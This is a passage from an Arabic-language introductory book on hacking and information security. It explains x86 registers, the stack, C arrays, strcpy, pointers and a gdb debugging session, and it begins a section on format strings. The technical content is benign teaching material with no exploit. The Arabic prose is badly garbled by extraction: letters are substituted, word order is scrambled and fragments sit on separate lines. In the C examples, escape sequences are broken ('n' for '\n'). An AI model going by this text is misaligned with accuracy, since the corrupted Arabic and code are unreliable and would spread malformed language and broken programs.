‫أداء‬ ‫اكتامل‬ ‫من‬
function
‫ها‬‫ين‬َ‫ع‬‫ب‬
‫َوى‬‫ت‬ ُ
‫حم‬ ‫حص‬َ‫ق‬ ‫ريق‬َ‫ط‬ ‫ن‬َ‫ع‬
‫ال‬
EAX
،
ُ‫ن‬‫مك‬ُ‫ي‬ ‫َام‬‫ك‬
‫نا‬
‫هل‬ ‫علية‬‫الف‬ ‫يمة‬‫الق‬ ‫ة‬َ‫ق‬‫عر‬َ‫م‬
‫ال‬ ‫ذا‬
return value
.
ECX
‫عليها‬ ‫ق‬‫ُطل‬‫ن‬
“Count register or Counter”
،
‫ال‬ ‫يف‬ ‫م‬َ‫َخد‬‫ت‬‫ُس‬‫ت‬ ‫ألهنا‬
Looping operations
.
EDX
‫عليها‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬ ‫ذذه‬
Data register
‫لل‬ ‫امتداد‬ ‫د‬َ‫ع‬ُ‫ت‬‫و‬ ،
EAX
‫ال‬ ‫من‬ ‫أكرب‬ ‫كمية‬ ‫ختزين‬ ‫حالة‬ ‫يف‬ ‫تدعمها‬ ‫أهنا‬ ‫أي‬
data
‫أثناء‬
.!ً‫ا‬‫تعقيد‬ ‫األكثر‬ ‫احلسابات‬ ‫لجراء‬
EBX
..ً‫ا‬‫وأطري‬
Base register
‫ك‬َ‫ل‬ ،‫ها‬‫ين‬َ‫ع‬‫ب‬ ‫ظيفة‬َ‫و‬‫ل‬ ‫م‬‫م‬ َ
‫ُص‬‫ت‬ ‫مل‬ ،
‫لضاقي‬ ‫ساحة‬‫َم‬‫ك‬ ‫م‬َ‫َخد‬‫ت‬‫ُس‬‫ت‬ ‫نها‬
‫ة‬
.‫للتخزين‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[35]
‫ال‬ ‫من‬ ‫جديدين‬ ‫نوعني‬ ‫لنا‬ ‫يظهر‬ ‫ثم‬
Registers
‫وذم‬
:
ESP and EBP
Stack Pointer
‫و‬
Base Pointer
‫ال‬ ‫عملية‬ ‫إلدارة‬ ‫استخدامهم‬ ‫يتم‬
function calls
‫ال‬ ‫مع‬ ‫ل‬ُ‫م‬‫والتعا‬
Stack
.
‫يف‬ ‫التفصيل‬ ‫من‬ ‫بمزيد‬ ‫هلم‬ ‫سنتعرض‬
.‫الثالث‬ ‫الباب‬
‫ال‬ ‫ماذذا‬ ‫ن‬‫ولك‬
Stack
‫؟‬
‫أهنا‬ ‫يبدو‬
structure
‫باالحتفاظ‬ ‫يقوم‬
‫التفصيلي‬ ‫بالبيانات‬
‫ة‬
‫بال‬ ‫اخلاصة‬
function calls
،
‫ال‬ ‫مبدأ‬ ‫وتعتمد‬
(FILO)
‫ويعني‬
“First In Last Out”
‫ب‬ ‫لليها‬ ‫البيانات‬ ‫لرسال‬ ‫عملية‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬ ،‫بالشكل‬ ‫يظهر‬ ‫كام‬
“Push”
‫ب‬ ‫منها‬ ‫البيانات‬ ‫استخراج‬ ‫وعملية‬
“Pop”
.
‫عملية‬ ‫لك‬ ‫ح‬ ِّ
‫سأوض‬
function call
‫ال‬ ‫لىل‬ ‫يانات‬َ‫ب‬‫ال‬ ‫لرسال‬ ‫م‬‫ت‬َ‫ي‬ َ
‫َيف‬‫ك‬ ‫د‬‫ُشاذ‬‫ت‬‫ل‬ ‫باألسفل‬
Stack
.
..‫عام‬ ‫وبوجه‬
‫ال‬ ‫تقوم‬
Stack
‫بثالث‬
‫ة‬
:‫ذي‬ ‫رئيسية‬ ‫أمور‬
Stores information about how a function is called, the parameters it takes, and how it should
return after it is finished executing.
‫لجراء‬ ‫لية‬َ‫م‬َ‫ع‬‫ل‬ ‫ثال‬‫م‬ ‫ذذا‬
function call
،
‫ال‬ ‫ن‬‫م‬ ً‫ال‬ُ‫ك‬ ‫دور‬ ً‫ا‬‫ع‬َ‫م‬ ‫َرى‬‫ن‬‫س‬
(ESP and EBP)
،
‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫الصيغة‬ ‫ذي‬ ‫ذذه‬
‫ة‬
‫لعمل‬
call
‫لل‬
function
‫سام‬ُ‫مل‬‫ا‬
‫ة‬
my_pencils( )
‫ال‬ ‫بلغة‬
C
:
int my_pencils (color_one, color_two, color_three);
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[36]
‫ال‬ ‫عملية‬ ‫م‬‫َت‬‫ت‬ ‫وذكذا‬
Call
‫بال‬
x86 Assembly
:
push color_three
push color_two
push color_one
call my_pencils
‫ال‬ ‫شكل‬ ‫ذو‬ ‫وذذا‬
Stack frame
‫ال‬ ‫أن‬ ‫(الحظ‬ ،
Argument
‫الثالث‬
‫ال‬ ‫أسفل‬ ‫يف‬ ً‫ال‬‫أو‬ ‫وضعه‬ ‫تم‬
Stack
،!)
‫كام‬
ً‫ام‬‫دائ‬ ‫أنه‬
‫ال‬ ‫ُشري‬‫ت‬ ‫ما‬
ESP
‫ال‬ ‫لىل‬
(Top of Stack)
.
‫ال‬ ‫ذذه‬ ‫لىل‬ ‫سطر‬ ‫بإضاقة‬ ‫سنقوم‬ ‫واآلن‬
function
‫ال‬ ‫يف‬ ‫ث‬ُ‫حد‬َ‫ي‬ َ
‫س‬ ‫ما‬ ‫د‬‫ُشاذ‬‫ن‬ ‫كي‬
Stack
.
int my_pencils (color_one, color_two, color_3);
{
[
10
]
char uni_pen_color_one
}
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[37]
‫ال‬ ‫طانة‬ ‫قوق‬ ‫أطرى‬ ‫طانة‬ ‫ظهور‬ ‫ُالحظ‬‫ن‬‫س‬
Return address
‫ال‬ ‫يف‬
stack
،
‫تغري‬ُ‫مل‬‫ا‬ ‫ِبا‬ ‫سيكون‬
(uni_pen_color_one)
‫ال‬ ‫وسينتقل‬
Stack pointer
‫لال‬
‫شار‬
‫ة‬
‫لليها‬
،
‫ال‬ ‫لىل‬ ً‫ا‬‫دوم‬ ‫شري‬ُ‫ي‬ ُ‫ه‬‫ن‬‫أل‬
"
Top of Stack
"
.
‫س‬
ً‫ا‬‫حالي‬ ‫القدر‬ ‫ِبذا‬ ‫نكتفي‬
.
‫ل‬
‫ال‬ ‫لىل‬ ‫نعود‬
Registers
:‫اآلطرى‬
ESI and EDI
 (ESI) Source Index, holds the location of the input data stream.
 (EDI) Destination Index, points to the location where the result of a data operation is
stored.
:‫ُّر‬‫ك‬‫َذ‬‫ت‬‫ال‬ ‫لية‬َ‫م‬َ‫ع‬ ‫َسهيل‬‫ت‬‫ول‬
 ESI is used when we need to read data from something.
 EDI is used when we want to write data in somewhere.
EIP
‫ليها‬َ‫ع‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬
Instruction Pointer
‫ال‬ ‫لىل‬ ‫ُشري‬‫ت‬ ‫ألهنا‬
Instruction
‫يقوم‬ ‫التي‬ ‫احلالية‬
‫ال‬
CPU
‫لها‬ُّ‫ي‬ َ
‫خت‬ َ
‫ُك‬‫ن‬‫مك‬ُ‫ي‬ .‫ها‬‫رائت‬‫ق‬‫ب‬
‫قرائت‬ ‫أثناء‬ ‫أذا‬ َ‫قر‬َ‫ي‬ ‫ة‬َ‫م‬‫َل‬‫ك‬ ‫ُل‬‫ك‬ ‫عىل‬ ‫لصبعه‬ ‫ع‬ َ
‫ض‬َ‫ي‬ ‫خص‬ َ
‫ش‬‫ب‬
‫ه‬
‫ال‬ ‫كذلك‬ ،‫ما‬ ٍ‫ع‬‫موضو‬ ‫أو‬ ‫جلة‬‫مل‬
processor
‫لصبعه‬ ‫يستخدم‬
‫ال‬ ‫وذو‬ ‫اخلاص‬
EIP
‫كل‬ ‫ليقرأ‬
Instruction
‫ري‬ َ
‫جي‬
.ُ‫ه‬‫فيذ‬‫َن‬‫ت‬
‫ال‬ ‫من‬ ‫ذذه‬
registers
‫عمل‬ ‫أثناء‬ ‫اذتاممك‬ ‫ستوليها‬ ‫التي‬
‫ال‬ ‫ية‬
Debugging
.
ُ‫ذ‬ ‫لىل‬
..‫الفاصل‬ ‫ذذا‬ ‫أهنينا‬ ‫قد‬ ‫نكون‬ ‫نا‬
‫َعود‬‫ن‬‫ل‬ ‫ذيا‬
‫جديد‬ ‫من‬
..‫ية‬ َ
‫جم‬ َ
‫الرب‬ ‫األساسيات‬ ‫ل‬‫َستكم‬‫ن‬‫ل‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[38]
Arrays
‫عددذا‬ ‫العنارص‬ ‫من‬ ‫جمموعة‬ ‫لهنا‬
n
‫ذات‬
data type
‫حمدد‬
‫ة‬
‫ال‬ ‫داطل‬ ‫تتموضع‬
Memory
.
“Is a list of n elements of a specific data type”
،
َ‫ل‬‫ط‬ُ‫ي‬ ً‫ا‬‫أيض‬
‫عليها‬ ‫ق‬
“Buffers”
.
‫ماييل‬
‫مثال‬
‫يوضح‬
‫لنا‬
‫ال‬
character array
:
#include <stdio.h>
int main()
{
char str_a[20];
str_a[0] = 'H';
str_a[1] = 'e';
str_a[2] = 'l';
str_a[3] = 'l';
str_a[4] = 'o';
str_a[5] = ',';
str_a[6] = ' ';
str_a[7] = 'w';
str_a[8] = 'o';
str_a[9] = 'r';
str_a[10] = 'l';
str_a[11] = 'd';
str_a[12] = '!';
str_a[13] = 'n';
str_a[14] = 0;
printf (str_a);
}
‫عمل‬ ‫عند‬ ‫الربنامج‬ ‫شكل‬ ‫وذذا‬
compile
‫باستخدام‬ ‫له‬
GCC
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[39]
reader@hacking:~/booksrc $ gcc -o char_array char_array.c
reader@hacking:~/booksrc $ ./char_array
Hello, world!
reader@hacking:~/booksrc $
..!‫جيد‬
‫بسيط‬ ‫مالحظة‬ ‫لدينا‬
‫ة‬
‫بحجز‬ ‫منا‬ُ‫ق‬ ‫لقد‬ ..
buffer
‫ل‬ ‫تتسع‬ ‫مساحته‬
20
‫ختصيص‬ ‫تم‬ ‫أنه‬ ‫أي‬ ،‫حرف‬
20 bytes
‫ننا‬‫لك‬ .‫لنا‬
‫ققط‬ ‫مألنا‬
(
12 bytes
)
،!‫منهم‬
ً‫ا‬‫أيض‬
‫كان‬ ‫حرف‬ ‫آطر‬
(
0
)
‫عليه‬ ‫طلق‬ُ‫ي‬..
“null byte”
‫ال‬ ‫إلطبار‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫ي‬‫و‬
functions
‫ال‬ ‫ذذه‬ ‫مع‬ ‫تتعامل‬ ‫التي‬
array
‫ال‬ ‫ذذا‬ ‫ظهور‬ ‫عند‬ ‫القراءة‬ ‫عن‬ ‫تتوقف‬ ‫بأن‬
null byte
‫ال‬ ‫باقي‬ ‫لمهال‬ ‫ويتم‬
buffer
‫وكأنه‬
.‫موجود‬ ‫غري‬
‫الطريقة‬ ‫ِبذه‬ ‫حرف‬ ‫ُل‬‫ك‬ ‫أكتب‬ ‫أن‬ ‫يب‬ ‫ض‬َ َ
‫فرت‬ُ‫ي‬ ‫ذل‬ ‫ولكن‬
َ‫س‬‫البائ‬
‫ة‬
‫بإدطال‬ ‫تي‬َ‫ب‬‫غ‬َ‫ر‬ ‫ند‬‫ع‬
string
‫؟‬
‫سنستخدم‬ ،!‫ال‬ ‫بالطبع‬
Library
‫ى‬‫ُسم‬‫ت‬
string.h
:‫ثال‬‫م‬ ‫ب‬‫َرض‬‫ن‬ ‫عنا‬َ‫د‬ ،‫األعامل‬ ‫ه‬‫ذ‬َ‫ِب‬ ‫نا‬َ‫ل‬ ‫َقوم‬‫ت‬ َ
‫س‬ َ‫ي‬‫وذ‬
‫ال‬ ‫أحد‬ ‫من‬ ‫نطلب‬ ‫ثم‬ ،‫ُريد‬‫ن‬ ‫التي‬ ‫ل‬َ‫م‬ُ‫جل‬‫ا‬ ‫ُب‬‫ت‬‫نك‬ ‫سوف‬
functions
‫ال‬ ‫مع‬ ‫للتعامل‬ ‫ت‬ َ
‫ص‬ ِّ
‫ص‬ ُ
‫ط‬ ‫التي‬
strings
‫ال‬ ‫أو‬
Arrays
‫ك‬ ‫ما‬ ‫بنسخ‬
‫ال‬ ‫داطل‬ ‫ووضعه‬ ‫تبناه‬
buffer
‫ال‬ ‫ذذه‬ ‫ب‬ِّ‫ر‬َ‫ُج‬‫ن‬ ‫دعنا‬ ،
function
‫الرائع‬
‫ة‬
ً‫ا‬‫حالي‬ ‫أحد‬ ‫يستخدمها‬ ‫ال‬ ‫التي‬
ُ‫ه‬‫ألن‬ ،
ُ‫ي‬ ‫بذلك‬
َ‫ع‬
ِّ‫ر‬
‫ض‬
‫برناجمه‬
‫ال‬ ‫هلجوم‬
Buffer overflow
‫بساط‬ ‫بكل‬
‫ة‬
!

..
‫لهنا‬
strcpy( )
..
‫بالنسخ‬ ‫تقوم‬ ‫أهنا‬ ‫ظ‬‫الح‬
:‫كالتايل‬
strcpy (destination, source)
‫التا‬ ‫الكود‬ ‫يقوم‬
‫العبارة‬ ‫بنسخ‬ ‫يل‬
Hello, world!
‫ال‬ ‫لىل‬
buffer
‫ى‬‫سم‬ُ‫مل‬‫ا‬
str_a
.‫طباعته‬ ‫م‬ُ‫ث‬
#include <stdio.h>
#include <string.h>
int main() {
char str_a[20];
strcpy (str_a, "Hello, world!n");
printf (str_a);
}
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[40]
Signed and Unsigned
‫ال‬ ‫عن‬ ‫نتحدث‬ ‫عندما‬
numerical values
‫ال‬ ‫يف‬ ‫ختزينها‬ ‫يتم‬ ‫التي‬ ‫األعداد‬ ‫نعني‬ ‫قنحن‬
memory
‫الثنائي‬ ‫بالنظام‬
،
‫تكون‬ ‫أن‬ ‫لما‬ ‫وذي‬
Signed
‫(موجب‬ ‫أي‬
‫ة‬
‫أو‬ ،)‫سالبة‬ ‫أو‬
Unsigned
‫(موجب‬ ‫أي‬
‫ة‬
.)‫ققط‬
:‫كالتايل‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ ‫بتعريف‬ ‫نقوم‬
“unsigned int”
‫ساح‬‫بامل‬ ‫ُّم‬‫ك‬َ‫َح‬‫ت‬‫ال‬ ‫مكننا‬ُ‫ي‬ ً‫ا‬‫أيض‬ ،
‫ة‬
َ
‫صص‬َ‫خ‬ُ‫مل‬‫ا‬
‫ة‬
‫ال‬ ‫ذا‬‫هل‬
Numerical variable
‫بالزياد‬ ً‫ء‬‫سوا‬
‫ة‬
‫ُقصان‬‫ن‬‫بال‬ ‫أو‬
‫بإضاقة‬ ‫وذلك‬
short or long
.‫بله‬َ‫ق‬
‫توجد‬
function
‫ال‬ ‫لغة‬ ‫يف‬
C
‫تسمى‬
sizeof( )
..
‫أي‬ ‫مساحة‬ ‫حتديد‬ ‫وظيفتها‬
data type
.‫نريده‬
‫ال‬ ‫ذذه‬ ‫ب‬ ِّ‫ُجر‬‫ن‬‫ل‬
function
‫هم‬ُ‫مل‬‫ا‬ ‫تغريات‬ُ‫مل‬‫ا‬ ‫بعض‬ ‫مساحة‬ ‫عىل‬ ‫ف‬‫نتعر‬ ‫كي‬
‫ة‬
:
#include <stdio.h>
int main() {
printf("The 'int' data type istt %d bytesn",
sizeof(int));
printf("The 'unsigned int' data type ist %d bytesn",
sizeof(unsigned int));
printf("The 'short int' data type ist %d bytesn",
sizeof(short int));
printf("The 'long int' data type ist %d bytesn",
sizeof(long int));
printf("The 'long long int' data type is %d bytesn",
sizeof(long long int));
printf("The 'float' data type ist %d bytesn",
sizeof(float));
printf("The 'char' data type istt %d bytesn",
sizeof(char));
}
‫استخدمنا‬ ‫أننا‬ ‫معي‬ ‫الحظ‬
printf( )
‫الشاش‬ ‫عىل‬ ‫ما‬ ‫يشء‬ ‫بطباعة‬ ‫لتقوم‬
‫ة‬
:
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[41]
‫بال‬ ‫يسمى‬ ‫ما‬ ‫استخدمنا‬ ‫لقد‬
format specifier
‫وذي‬
%d
:‫ييل‬ ‫كام‬ ‫العرض‬ ‫بعملية‬ ‫لتقوم‬
‫ال‬ ‫مساحة‬ ‫بعرض‬ ‫الكود‬ ‫ذذا‬ ‫سيقوم‬
data types
‫ال‬
‫موضح‬ ‫ذو‬ ‫كام‬ ‫له‬ ‫بإدطاهلا‬ ‫قمنا‬ ‫تي‬
.
reader@hacking:~/booksrc $ gcc datatype_sizes.c
reader@hacking:~/booksrc $ ./a.out
The 'int' data type is 4 bytes
The 'unsigned int' data type is 4 bytes
The 'short int' data type is 2 bytes
The 'long int' data type is 4 bytes
The 'long long int' data type is 8 bytes
The 'float' data type is 4 bytes
The 'char' data type is 1 bytes
reader@hacking:~/booksrc $
Pointers
‫ال‬ ‫أن‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬
(
EIP register
)
‫ن‬َ‫ع‬ ‫بارة‬‫ع‬ َ‫ي‬‫ذ‬
pointer
‫ال‬ ‫لىل‬ ‫شري‬ُ‫ي‬
current instruction
‫وذلك‬ ‫الربنامج‬ ‫ل‬َ‫م‬َ‫ع‬ ‫أثناء‬
‫ال‬ ‫عىل‬ ‫الحتوائها‬
memory address
‫ال‬ ‫ه‬‫ذ‬َ‫ِب‬ ‫اخلاص‬
instruction
.
‫ال‬ َ‫ع‬َ‫م‬ ‫ل‬ُ‫م‬‫َعا‬‫ت‬‫ال‬ ‫أثناء‬
memory
‫التي‬ ‫للبيانات‬ ‫ّسخ‬‫ن‬‫ال‬ ‫ليات‬َ‫م‬َ‫ع‬‫ل‬ ‫باستمرار‬ ‫َحتاج‬‫ن‬
‫ال‬ ‫بواسطة‬ ‫استخدامها‬ ‫م‬‫ت‬َ‫ي‬
functions
،
‫ال‬ ‫داطل‬ ‫البيانات‬ ‫نسخ‬ ‫تكرار‬ ‫ة‬َ‫م‬‫ك‬‫احل‬ َ‫ن‬‫م‬ ‫قليس‬ ‫وبالتايل‬
memory
‫لكل‬
function
‫حجز‬ ‫يتطلب‬ ‫ألنه‬ ،‫نستدعيها‬
‫ال‬ ‫مساحة‬
destination
‫ال‬ ‫نسخ‬ ‫سيتم‬ ‫(التي‬
data
‫ال‬ ‫يف‬ )‫لليها‬
memory
‫األمر‬ ‫كون‬َ‫ي‬ َ
‫س‬ .!‫ّسخ‬‫ن‬‫ال‬ ‫لية‬َ‫م‬َ‫ع‬‫ب‬ ‫البدء‬ ‫قبل‬
‫لل‬ ً‫ا‬‫ك‬‫هل‬ُ‫م‬
memory
.!‫هلا‬ ً‫ا‬‫ومستهلك‬
‫ال‬ ‫استخدام‬ ‫مكننا‬ُ‫ي‬ ‫ذلك‬ ‫من‬ ً‫ال‬‫بد‬
pointer
ّ‫ر‬ ُ‫ح‬ ‫ُل‬‫ك‬‫ب‬ ‫به‬ ‫لنتحرك‬
‫ي‬
‫ة‬
‫داطل‬
‫ال‬
memory
‫اإلشار‬ ‫طريق‬ ‫عن‬
‫ة‬
‫لىل‬
‫ال‬ ‫عناوين‬
blocks
.
We use pointers to point to the address of the beginning of that block of memory.
Pointers are 32 bits in size (4 bytes), and is defining by putting (*) to the variable name.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[42]
:‫مثال‬ ‫نأطذ‬ ‫دعنا‬
#include <stdio.h>
#include <string.h>
int main() {
char str_a[20]; // A 20-element character array
char *pointer; // A pointer, meant for a character array
char *pointer2; // another one
strcpy(str_a, "Hello, world!n");
pointer = str_a; // Set the first pointer to the start of the array.
printf(pointer);
pointer2 = pointer + 2; // Set the second one 2 bytes further in.
printf(pointer2); // Print it.
strcpy(pointer2, "y you guys!n"); // Copy into that spot.
printf(pointer); // Print again.
}
‫ماييل‬
:‫الكود‬ ‫ذذا‬ ‫نتائج‬
reader@hacking:~/booksrc $ gcc -o pointer pointer.c
reader@hacking:~/booksrc $ ./pointer
Hello, world!
llo, world!
Hey you guys!
reader@hacking:~/booksrc $
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[43]
‫َسخ‬‫ن‬‫ب‬ ‫منا‬ُ‫ق‬
“Hello, world!”
‫ل‬‫داط‬ ‫عناذا‬ َ
‫ض‬َ‫و‬َ‫و‬
str_a
،
‫لنا‬َ‫ع‬ َ‫ج‬ ‫م‬ُ‫ث‬
pointer
َ‫ب‬ ‫لليها‬ ‫شري‬ُ‫ي‬
‫قوق‬ ‫َعريفه‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬ ‫أن‬ ‫عد‬
‫أنه‬ ‫عىل‬
“char pointer points to char array”
،
‫علنا‬ َ‫ج‬ ‫م‬ُ‫ث‬
pointer2
‫لىل‬ ‫شري‬ُ‫ي‬
(pointer + 2bytes)
‫مقدار‬ ‫سيقفز‬ ‫أنه‬ ‫بمعنى‬
‫ليتجاذل‬ ‫حرقني‬
He
،
‫استخدام‬ ‫وعند‬
printf( )
‫ال‬ ‫ذذا‬ ‫عرض‬‫ل‬
pointer2
‫لنا‬ ‫سيظهر‬
“llo, world!”
.
‫ب‬ ‫منا‬ُ‫ق‬ ‫ثم‬
‫نسخ‬
َ‫ي‬‫ذ‬ ‫طرى‬ُ‫أ‬ ‫باره‬‫ع‬
“y you guys!”
‫ال‬ ‫شري‬ُ‫ي‬ ُ
‫حيث‬ ‫ووضعناذا‬ ،
pointer2
.
‫ال‬ ‫ذذه‬ ‫يف‬ ‫َعديل‬‫ت‬ ‫ث‬ُ‫حد‬َ‫ي‬ َ
‫س‬ ُ‫ه‬‫أن‬ ‫يعني‬ ‫ذذا‬
String
‫استبدال‬ ‫سيتم‬ ‫بأن‬
“llo, world!”
‫بالعبارة‬
“y you guys!”
.
‫و‬
‫لكن‬
‫شري‬ُ‫ي‬ ‫أين‬
‫ال‬ ‫ذذا‬
pointer2
..
‫؟‬
‫ال‬ ‫بداية‬ ‫لىل‬ ‫شري‬ُ‫ي‬ ُ‫ه‬‫لن‬
byte
‫ال‬ ‫يف‬ ‫الثالث‬
"
str_a
"
.
‫أن‬ ‫تذكر‬
pointer
‫بداية‬ ‫لىل‬ ‫شري‬ُ‫ي‬
"
str_a
،"
‫أول‬ ‫َركنا‬‫ت‬ ‫نا‬ُ‫ذ‬ ُ‫َحن‬‫ن‬‫و‬
2
bytes
‫وذم‬ ،‫َعديل‬‫ت‬ َ‫دون‬ ‫ا‬‫ِب‬
“He”
‫ال‬ ‫من‬ ‫ستبدأ‬ ،!‫ديدة‬ َ‫ج‬ ‫بارة‬‫ع‬ ‫َسخنا‬‫ن‬ ‫م‬ُ‫ث‬ ،
byte
‫الثالث‬
‫ال‬ ‫ذذه‬ ‫يف‬
character
array
‫ال‬ ‫من‬ ‫طلبنا‬ ً‫ا‬‫وأطري‬ ،
printf( )
‫ض‬‫ر‬َ‫ع‬
‫ال‬
array
‫ذذا‬ ‫لليها‬ ‫يشري‬ ‫التي‬
‫ال‬
pointer
‫ق‬ ،‫باستدعاؤه‬
‫النتيجة‬ ‫تكون‬
“Hey you guys!”
.
:‫صغرية‬ ‫ة‬َ‫ظ‬ َ‫الح‬ُ‫م‬
‫ال‬ ‫أن‬ ‫كر‬َ‫َذ‬‫ت‬
integer
‫ال‬ ‫داطل‬ ‫ما‬ ٍ‫كان‬َ‫م‬ ‫يف‬ ‫ع‬َ‫ق‬َ‫ي‬ ‫ذاته‬
memory
،
‫ال‬ ‫أن‬ ‫ض‬‫َفر‬‫ن‬‫ول‬
address
‫ال‬ ‫داطل‬ ‫ه‬‫ب‬ ‫اخلاص‬
memory
‫ذو‬
0xbffff8a
‫بتعريف‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬
pointer
‫ال‬ ‫ذذ‬ ‫لىل‬ ‫شري‬ُ‫ي‬ ‫لناه‬َ‫ع‬ َ‫وج‬
int
‫ال‬ ‫ذذا‬ ،
pointer
‫باستخدام‬ ‫نستدعيه‬ ‫عندما‬
‫الدالة‬
printf( )
‫ال‬ ‫عنوان‬ ‫لنا‬ ‫سيعرض‬
memory
‫ال‬ ‫ذذا‬ ‫يقع‬ ‫الذي‬
int
‫وذو‬ ،‫بداطله‬
0xbffff8a
‫ذذا‬ ‫طباعة‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ .
‫العنوان‬
(the memory address of a variable)
!‫أطرى‬ ‫بطريقة‬ ً‫ا‬‫أيض‬
:
‫باستخدام‬
“the address-of operator”
‫بعالمة‬ ُ‫ه‬‫ل‬ ‫ز‬َ‫م‬‫ر‬ُ‫ي‬
(&)
.
‫استخدام‬ َ‫ند‬‫قع‬
&int
‫ال‬ ‫داطل‬
printf( )
‫نا‬َ‫ل‬ ‫عطي‬ُ‫ي‬ َ
‫س‬
0xbffff8a
.!ً‫ا‬‫أيض‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[44]
..‫واآلن‬
‫سيكون‬ ‫كيف‬
‫ال‬
return
‫استخدام‬ ‫عند‬
(&)
‫املتغريات؟؟‬ ‫أحد‬ ‫مع‬
:
.
The address of that variable, instead of the variable itself
‫ماييل‬
‫ب‬ ‫نقوم‬ ‫تغري‬ُ‫مل‬ ‫مثال‬
‫ال‬ ‫طباعة‬
Address
‫ال‬ ‫بصيغة‬ ‫به‬ ‫اخلاص‬
Hex
‫ال‬ ‫وباستخدام‬
“& operator”
int A = 7;
printf("variable A is at address: %08xn", &A);
‫ال‬ ‫ذذا‬ ‫نا‬‫ع‬ َ
‫ض‬َ‫و‬ ‫لن‬ ‫ماذا‬ ‫ولكن‬
"
&
"
‫ال‬ َ
‫ل‬‫ب‬َ‫ق‬
pointer
‫؟‬..
‫ال‬ ‫ض‬‫ر‬َ‫ع‬‫ب‬ ‫قوم‬َ‫ي‬ ُ‫ه‬‫أن‬ ‫ام‬‫ب‬
"
address-of
،"
‫ال‬ ‫ض‬‫ر‬َ‫ع‬‫ب‬ ‫قوم‬َ‫ي‬ َ
‫س‬
“Address-of that pointer”
‫ال‬ ‫ن‬‫م‬ ً‫ال‬َ‫د‬َ‫ب‬
address
‫ا‬
‫لذي‬
‫ال‬ ‫ذذا‬ ‫لليه‬ ‫شري‬ُ‫ي‬
pointer
.!
‫اإلشكال‬ ‫ذذا‬ ‫بتفكيك‬ ‫لنقوم‬ ‫ذيا‬
‫التايل‬ ‫املثال‬ ‫يف‬
:
‫ل‬َ‫م‬َ‫ع‬ ‫َم‬‫ت‬ ‫كود‬ ‫ماييل‬
debug
‫له‬
‫باستخدام‬
GDB Debugger
reader@hacking:~/booksrc $ gcc -g addressof.c
reader@hacking:~/booksrc $ gdb -q ./a.out
Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) list
1 #include <stdio.h>
2
3 int main() {
4 int int_var = 5;
5 int *int_ptr;
6
7 int_ptr = &int_var; // Put the address of int_var into int_ptr.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[45]
8 }
(gdb) break 8
Breakpoint 1 at 0x8048361: file addressof.c, line 8.
(gdb) run
Starting program: /home/reader/booksrc/a.out
Breakpoint 1, main () at addressof.c:8
8 }
‫المتغير‬ ‫محتوى‬ ‫أو‬ ‫قيمة‬ ‫عرض‬ ‫نطلب‬ ‫هنا‬
(gdb) print int_var
$1 = 5
‫ه‬
‫ع‬ ‫طلبنا‬ ‫نا‬
‫رض‬
‫ال‬ ‫عنوان‬
block of memory
‫قيمته‬ ‫وليس‬ ‫المتغير‬ ‫هذا‬ ‫يحمل‬ ‫الذي‬
(gdb) print &int_var
$2 = (int *) 0xbffff804
‫ه‬
‫عرض‬ ‫طلبنا‬ ‫نا‬
‫حويه‬‫ماي‬
‫هذ‬
‫ا‬
‫ال‬
pointer
( ‫وهو‬
‫مكان‬
‫إلي‬ ‫شير‬‫ي‬ ‫الذي‬ ‫تغير‬‫الم‬
)‫ه‬
(gdb) print int_ptr
$3 = (int *) 0xbffff804
‫وه‬
‫ط‬ ‫نا‬
‫ع‬ ‫لبنا‬
‫رض‬
‫مكان‬
‫ال‬ ‫هذا‬
pointer
‫ذاته‬ ‫حد‬ ‫في‬
‫الميموري‬ ‫داخل‬
!
(gdb) print &int_ptr
$4 = (int **) 0xbffff800
(gdb)
‫ال‬ ‫عن‬ ‫احلديث‬ ‫سنعاود‬
pointers
‫ال‬ ‫ققرة‬ ‫يف‬
Typecasting
..
Format Strings
‫أن‬ ‫نعلم‬ ‫كام‬
printf( )
‫الشاش‬ ‫عىل‬ ‫ُريده‬‫ن‬‫ما‬ ‫لطباعة‬ ‫استخدامها‬ ‫يتم‬
‫ة‬
‫ال‬ ‫لدراج‬ ‫مكننا‬ُ‫ي‬َ‫ق‬ ،‫ا‬ ُ‫هل‬ ‫أطرى‬ ‫استخدامات‬ ‫ناك‬ُ‫وذ‬ ،
format strings
‫تلف‬ ُ
